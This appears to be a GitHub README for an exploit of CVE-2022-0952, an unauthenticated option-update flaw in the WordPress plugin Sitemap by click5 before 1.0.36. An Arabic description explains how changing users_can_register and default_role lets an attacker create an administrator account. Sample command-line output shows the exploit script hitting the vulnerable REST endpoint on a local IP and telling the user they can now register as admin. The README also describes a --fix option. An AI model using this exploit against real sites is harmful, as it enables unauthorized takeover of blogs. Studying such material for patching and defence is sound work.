randomrobbiebf/cve-2022-0952Sitemap by click5 < 1.0.36 - تحديث خيارات عشوائي بدون مصادقة
خريطة الموقع من click5 < 1.0.36 - تحديث خيارات غير موثوق به بدون مصادقة
لا يقوم الإضافة بإجراء فحوصات التفويض و CSRF عند تحديث الخيارات عبر نقطة REST، ولا يضمن أن الخيار المراد تحديثه ينتمي إلى الإضافة. نتيجة لذلك، يمكن للمهاجمين غير المصادق عليهم تغيير خيارات المدونة التعسفية، مثل users_can_register و default_role، مما يسمح لهم بإنشاء حساب مسؤول جديد والسيطرة على المدونة.
$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555
The plugin version is below 1.0.36.
The plugin version is 1.0.35
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555 --fix yes
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register